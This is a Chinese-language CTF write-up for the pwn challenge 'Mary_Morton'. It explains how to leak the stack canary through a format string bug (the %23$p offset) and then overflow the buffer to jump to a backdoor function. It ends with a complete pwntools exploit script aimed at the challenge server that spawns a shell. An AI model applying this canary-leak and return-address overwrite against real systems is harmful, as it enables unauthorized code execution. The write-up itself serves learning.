攻防世界pwn进阶区Mary_Morton
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO---got表仍可写
开启canary保护---栈溢出需绕过canary
开启NX保护----堆栈不可执行
未开启PIE----程序地址为真实地址
动态链接
运行后,选1是栈溢出,选2是格式化字符串溢出,选3是退出程序
ida一下主函数
简单的程序,三种选择,选1进入stack()函数
buf占0x90字节,read函数读入0x100字节,寻找一下后门函数
后门函数地址:0x4008DA
思路
栈溢出将返回地址覆盖为后门函数地址:0x4008DA
但有一个问题,程序开启了canary保护,首先需要用格式化字符串漏洞(选2)泄露canary
看一下栈区
首先找到canary的位于printf的第几个参数,这里var_8即为canary,buf距离canary为0x88(0x90-0x8)字节,64位每8个字节,0x88 / 0x8 = 17,再加上64位程序传参方式,再加上6个寄存器,17 + 6 = 23,所以canary位于printf的第23个参数
exp
from pwn import *
sh=remote('111.200.241.244',55529)
sh.recvuntil('3. Exit the battle \n')
sh.sendline(str(2))
sleep(0.5)
sh.sendline('%23$p') #canary位于printf的第23个参数
stack=int(sh.recvuntil('\n')[:-1],16) #接收canary,并以16进制整数储存
print(hex(stack))
flag_addr=0x4008DA
sh.recvuntil('3. Exit the battle \n')
sh.sendline(str(1))
sleep(0.5)
payload=b'a'*(0x90-8)+p64(stack)+b'b'*8+p64(flag_addr)
sh.sendline(payload)
sh.interactive()
运行获得shell